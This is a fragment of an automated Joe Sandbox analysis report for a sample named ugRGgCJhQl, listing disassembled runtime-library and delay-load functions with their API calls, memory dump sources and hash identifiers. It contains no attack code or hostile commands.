                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE29B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: af0fb71e4a943c93456e4b44d9857d257a31fad8ca03f08a8eda19ff2306f8ac
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: af0fb71e4a943c93456e4b44d9857d257a31fad8ca03f08a8eda19ff2306f8ac
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE291 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: afeae08359e66c6ded827c464f387125408bb5354fd41e108f60908f757f67d9
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: afeae08359e66c6ded827c464f387125408bb5354fd41e108f60908f757f67d9
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE2CD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 0eee9f8fa4a5ead52fb1b3a630b6a132e16e6227f4f4940337ae20b8d6c832a0
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: 0eee9f8fa4a5ead52fb1b3a630b6a132e16e6227f4f4940337ae20b8d6c832a0
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE2C3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 54c1afaa740aacaa63c5d9dd6f48857a4cba2d77dae7e3580211f7444f193013
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: 54c1afaa740aacaa63c5d9dd6f48857a4cba2d77dae7e3580211f7444f193013
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE2D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 7245bb92a9ab73dd78e5e70d1dd2d669de55cd1be08fdd2a71e7670ea8729211
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: 7245bb92a9ab73dd78e5e70d1dd2d669de55cd1be08fdd2a71e7670ea8729211
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE569 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: 2137e807cf329f6225d1627600cc18f9f1eb92f78690d47cc438229edf2a9aac
                                                                        • Instruction ID: 50f397d03881f5b683bdde8ead6f77bd1e398644be5cb45a963e1087f95e8756
                                                                        • Opcode Fuzzy Hash: 2137e807cf329f6225d1627600cc18f9f1eb92f78690d47cc438229edf2a9aac
                                                                        • Instruction Fuzzy Hash: 9CA012C15B91057C340A21001C02C7B410DC0C5FE0371543DF502800A168800C500830
                                                                        Function 002FE573 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE580
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: F0wn/
                                                                        • API String ID: 1269201914-2850556303
                                                                        • Opcode ID: f6f5feafe821b17c0c89a523e107927d763226c4cfa8b0986f3b674e4d15660a
                                                                        • Instruction ID: 02109e3820e613030df4a2222007cb26ae0055c7a30654ed80e6e5ac34305961
                                                                        • Opcode Fuzzy Hash: f6f5feafe821b17c0c89a523e107927d763226c4cfa8b0986f3b674e4d15660a
                                                                        • Instruction Fuzzy Hash: 17A012C11F420C3C340A21601C03C77450DC0C0BA1332513DF501840A0688008600830
                                                                        Function 002FE541 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: 7851c2d0661a247b56880ea22352c32bfee284c53e19413c1191a46cb22b60ed
                                                                        • Instruction ID: 50f397d03881f5b683bdde8ead6f77bd1e398644be5cb45a963e1087f95e8756
                                                                        • Opcode Fuzzy Hash: 7851c2d0661a247b56880ea22352c32bfee284c53e19413c1191a46cb22b60ed
                                                                        • Instruction Fuzzy Hash: 9CA012C15B91057C340A21001C02C7B410DC0C5FE0371543DF502800A168800C500830
                                                                        Function 002FE55F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: f833946dab3a19d2eeea2db3514e9a21538605b70ae7bbbdea819ce0ad789598
                                                                        • Instruction ID: 50f397d03881f5b683bdde8ead6f77bd1e398644be5cb45a963e1087f95e8756
                                                                        • Opcode Fuzzy Hash: f833946dab3a19d2eeea2db3514e9a21538605b70ae7bbbdea819ce0ad789598
                                                                        • Instruction Fuzzy Hash: 9CA012C15B91057C340A21001C02C7B410DC0C5FE0371543DF502800A168800C500830
                                                                        Function 002FE555 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: 1568e9a5f5995305aabfffb47b683250043db554e9c60a77bfd4f33bf872104c
                                                                        • Instruction ID: 50f397d03881f5b683bdde8ead6f77bd1e398644be5cb45a963e1087f95e8756
                                                                        • Opcode Fuzzy Hash: 1568e9a5f5995305aabfffb47b683250043db554e9c60a77bfd4f33bf872104c
                                                                        • Instruction Fuzzy Hash: 9CA012C15B91057C340A21001C02C7B410DC0C5FE0371543DF502800A168800C500830
                                                                        Function 002FE5A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE580
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: F0wn/
                                                                        • API String ID: 1269201914-2850556303
                                                                        • Opcode ID: 2bc704441957ce81a413c7ec8e50cda7f755e32d540647f80c991edac9501a5d
                                                                        • Instruction ID: 2193d8e5c67229d274ed5cbf21eeaedbe11ad040517670bcfa0f909bbe0bbf49
                                                                        • Opcode Fuzzy Hash: 2bc704441957ce81a413c7ec8e50cda7f755e32d540647f80c991edac9501a5d
                                                                        • Instruction Fuzzy Hash: EDA012C11B820D7C340A21501C03C77410DC0C4BE0332543DF502840A0688008600830
                                                                        Function 002FE58E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE580
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: F0wn/
                                                                        • API String ID: 1269201914-2850556303
                                                                        • Opcode ID: ed78e9ce285509c50d1ccdd968bba4ab408ae46744d36daadd302fbfe12b5ded
                                                                        • Instruction ID: 2193d8e5c67229d274ed5cbf21eeaedbe11ad040517670bcfa0f909bbe0bbf49
                                                                        • Opcode Fuzzy Hash: ed78e9ce285509c50d1ccdd968bba4ab408ae46744d36daadd302fbfe12b5ded
                                                                        • Instruction Fuzzy Hash: EDA012C11B820D7C340A21501C03C77410DC0C4BE0332543DF502840A0688008600830
                                                                        Function 0030BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 0030B7BB: GetOEMCP.KERNEL32(00000000,?,?,0030BA44,?), ref: 0030B7E6
                                                                        • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0030BA89,?,00000000), ref: 0030BC64
                                                                        • GetCPInfo.KERNEL32(00000000,0030BA89,?,?,?,0030BA89,?,00000000), ref: 0030BC77
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CodeInfoPageValid
                                                                        • String ID:
                                                                        • API String ID: 546120528-0
                                                                        • Opcode ID: a11d199eaf6fa1cf4725a2430fc26356d57382c394c2905f6fd9c0de5f64b7bc
                                                                        • Instruction ID: 63ae6900145c4132caf002493bd3b716f1815df046edd9e029e9da8360167bef
                                                                        • Opcode Fuzzy Hash: a11d199eaf6fa1cf4725a2430fc26356d57382c394c2905f6fd9c0de5f64b7bc
                                                                        • Instruction Fuzzy Hash: D15156709012459FEB23CF35C8A16BBFBE9EF41300F18446ED4968B6E1D7359942CB90
                                                                        Function 002E9A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,002E9A50,?,?,00000000,?,?,002E8CBC,?), ref: 002E9BAB
                                                                        • GetLastError.KERNEL32(?,00000000,002E8411,-00009570,00000000,000007F3), ref: 002E9BB6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorFileLastPointer
                                                                        • String ID:
                                                                        • API String ID: 2976181284-0
                                                                        • Opcode ID: eb33ef11de7c7995ffd4c2ad8aa43cedb0369794abfa75a32e9e28167c2ad69a
                                                                        • Instruction ID: 73db23ec625bb2056853502294bd4466835ad53d262571c7237203991180dee2
                                                                        • Opcode Fuzzy Hash: eb33ef11de7c7995ffd4c2ad8aa43cedb0369794abfa75a32e9e28167c2ad69a
                                                                        • Instruction Fuzzy Hash: F641E271564382CFDB24DF16E5845AAB7EAFFD8314F548A2FE88183260D7B0EC948A51
                                                                        Function 002E1E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E1E55
                                                                          • Part of subcall function 002E3BBA: __EH_prolog.LIBCMT ref: 002E3BBF
                                                                        • _wcslen.LIBCMT ref: 002E1EFD
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
